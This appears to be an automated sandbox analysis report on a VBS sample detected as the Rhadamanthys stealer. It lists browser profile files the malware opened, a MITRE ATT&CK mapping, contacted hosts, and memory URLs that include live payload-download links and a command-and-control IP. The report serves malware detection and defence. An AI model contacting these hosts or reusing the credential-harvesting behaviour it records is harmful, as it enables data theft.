Source: Yara match	File source: 00000016.00000002.2802648641.0000000003040000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2719430449.0000000024020000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\settings\main\ms-language-packs	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\safebrowsing\google4	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\921a1560-5524-44c0-8495-fce7014dcfba	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\doomed	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\startupCache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\safebrowsing	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\settings	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\thumbnails	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\f0479a66-61f1-42d6-a1ab-d023ed0adaa0	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\settings\main\ms-language-packs\browser	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\0absryc3.default	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\settings\main	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\settings\main\ms-language-packs\browser\newtab	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\ff366d85-2475-4dfc-a5c6-01e0d6f59500	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache	Jump to behavior

Source: C:\Windows\System32\svchost.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior

Remote Access Functionality

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000016.00000003.2709177603.0000000000B80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2704689744.0000000002540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2802648641.0000000003040000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2719430449.0000000024020000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F959B0 CreateNamedPipeW,BindIoCompletionCallback,ConnectNamedPipe,		23_3_00007DF416F959B0
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D5D004 CreateNamedPipeW,BindIoCompletionCallback,ConnectNamedPipe,		34_2_0000028186D5D004

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	11 Windows Management Instrumentation	221 Scripting	1 DLL Side-Loading	3 Obfuscated Files or Information	1 OS Credential Dumping	13 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 Extra Window Memory Injection	2 Software Packing	21 Input Capture	224 System Information Discovery	Remote Desktop Protocol	11 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Create Account	512 Process Injection	1 DLL Side-Loading	Security Account Manager	211 Security Software Discovery	SMB/Windows Admin Shares	21 Input Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Extra Window Memory Injection	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	2 Process Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	131 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	512 Process Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
g8ix97hz.vbs	5%	ReversingLabs

Source	Detection	Scanner	Label
http://127.0.0.1:%u/json/list?t=%u	0%	Avira URL Cloud	safe
http://www.tdejb.com	0%	Avira URL Cloud	safe
http://127.0.0.1:%u/json/list?t=%uws:exodus.jsExodusatomic.jsAtomicguarda.jsGuardainfinity.jsInfinit	0%	Avira URL Cloud	safe
https://www.tdejb.com/ef/ef.bin	0%	Avira URL Cloud	safe
http://www.microsoft.cyf	0%	Avira URL Cloud	safe
https://87.120.127.215:3847/6d41b386417b9c328d8/i4rtpd4n.psnut	0%	Avira URL Cloud	safe
https://www.tdejb.com/ef/ef.binGalisGrawww.puneet.ae/ef/ef.bin	0%	Avira URL Cloud	safe
http://tdejb.com	0%	Avira URL Cloud	safe
https://www.tdejb.com/ef/Skifterne.sea	0%	Avira URL Cloud	safe
https://www.arecosaldature.it/ef/Skifterne.sea	0%	Avira URL Cloud	safe
https://www.tdejb.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
time.cloudflare.com	162.159.200.1	true	false	high
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
tdejb.com	202.71.109.228	true	false	unknown
ntp.time.in.ua	62.149.0.30	true	false	high
time-a-g.nist.gov	129.6.15.28	true	false	high
ts1.aco.net	193.171.23.163	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
time.facebook.com	129.134.29.123	true	false	high
ntp1.hetzner.de	213.239.239.164	true	false	high
time.windows.com	unknown	unknown	false	high
www.tdejb.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.tdejb.com/ef/Skifterne.sea	false	Avira URL Cloud: safe	unknown
https://www.tdejb.com/ef/ef.bin	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.2340099936.0000020FC41F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2557862316.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.tdejb.com	powershell.exe, 00000005.00000002.2309530129.0000020FB5DE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:%u/json/list?t=%u	wmpshare.exe, 00000022.00000003.3175098577.0000028188A01000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000C.00000002.2542474955.0000000004BD6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000C.00000002.2542474955.0000000004BD6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://microsoft.co	powershell.exe, 00000005.00000002.2348383471.0000020FCC829000.00000004.00000020.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000005.00000002.2309530129.0000020FB4D46000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tdejb.com	powershell.exe, 00000005.00000002.2309530129.0000020FB5DE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.co	powershell.exe, 00000005.00000002.2348383471.0000020FCC829000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2348383471.0000020FCC7CE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000000C.00000002.2557862316.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000000C.00000002.2557862316.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000A.00000003.2293909859.0000020984340000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 0000000A.00000002.3434041503.0000020984400000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.tdejb.com/ef/ef.binGalisGrawww.puneet.ae/ef/ef.bin	msiexec.exe, 00000013.00000002.2743933601.0000000023760000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000C.00000002.2542474955.0000000004BD6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod1C:	svchost.exe, 0000000A.00000003.2293909859.000002098439E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 0000000C.00000002.2542474955.0000000004A81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000000C.00000002.2557862316.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.2340099936.0000020FC41F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2557862316.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://127.0.0.1:%u/json/list?t=%uws:exodus.jsExodusatomic.jsAtomicguarda.jsGuardainfinity.jsInfinit	wmpshare.exe, 00000022.00000003.3175098577.0000028188A01000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://87.120.127.215:3847/6d41b386417b9c328d8/i4rtpd4n.psnut	svchost.exe	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000005.00000002.2309530129.0000020FB4181000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.cyf	powershell.exe, 00000005.00000002.2348383471.0000020FCC829000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.2309530129.0000020FB4181000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2542474955.0000000004A81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.arecosaldature.it/ef/Skifterne.sea	powershell.exe, 00000005.00000002.2309530129.0000020FB5746000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2309530129.0000020FB43A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2542474955.0000000004BD6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.tdejb.com	powershell.exe, 00000005.00000002.2309530129.0000020FB5746000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2309530129.0000020FB43A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.159.200.1	time.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
213.239.239.164	ntp1.hetzner.de	Germany	24940	HETZNER-ASDE	false
62.149.0.30	ntp.time.in.ua	Ukraine	15497	COLOCALLInternetDataCenterColoCALLUA	false
129.6.15.28	time-a-g.nist.gov	United States	49	US-NATIONAL-INSTITUTE-OF-STANDARDS-AND-TECHNOLOGYUS	false
193.171.23.163	ts1.aco.net	Austria	1853	ACONETACOnetBackboneAT	false
87.120.127.215	unknown	Bulgaria	25206	UNACS-AS-BG8000BurgasBG	true
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
45.149.241.141	unknown	Germany	701	UUNETUS	false
129.134.29.123	time.facebook.com	United States	32934	FACEBOOKUS	false
202.71.109.228	tdejb.com	Malaysia	17971	TMVADS-APTM-VADSDCHostingMY	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577818
Start date and time:	2024-12-18 19:26:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	g8ix97hz.vbs
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winVBS@43/120@12/11
EGA Information:	Successful, ratio: 42.9%
HCA Information:	Successful, ratio: 65% Number of executed functions: 182 Number of non-executed functions: 21
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 2.20.68.201, 2.20.68.210, 23.218.208.109, 17.253.18.99, 17.253.14.251, 17.253.18.131, 40.81.94.65, 142.250.181.99, 172.217.17.78, 64.233.162.84, 13.107.42.16, 204.79.197.239, 13.107.21.239, 13.107.6.158, 20.190.181.4, 20.223.35.26, 13.107.246.63, 2.19.193.51, 150.171.28.10, 20.199.58.43, 4.245.163.56, 52.149.20.212
Excluded domains from analysis (whitelisted): config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, twc.trafficmanager.net, tse1.mm.bing.net, clientservices.googleapis.com, g.bing.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, clients2.google.com, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, login.live.com, e16604.g.akamaiedge.net, ocsp.edge.digicert.com, time.g.aaplimg.com, prod.fs.microsoft.com.akadns.net, l-0007.l-msedge.net, wu-b-net.trafficmanager.net, config.edge.skype.com, www.bing.com, edge-microsoft-com.dual-a-0036.a-msedge.net, client.wns.windows.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, time.apple.com, ctldl.windowsupdate.com, b-0005.b-msedge.net, edge.microsoft.com, business-bing-com.b-0005.b-msedge.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, l-0007.config.skype.com
Execution Graph export aborted for target msiexec.exe, PID 4156 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 524 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7756 because it is empty
Execution Graph export aborted for target svchost.exe, PID 3604 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: g8ix97hz.vbs

Simulations

Behavior and APIs

Time	Type	Description
13:27:05	API Interceptor	1x Sleep call for process: wscript.exe modified
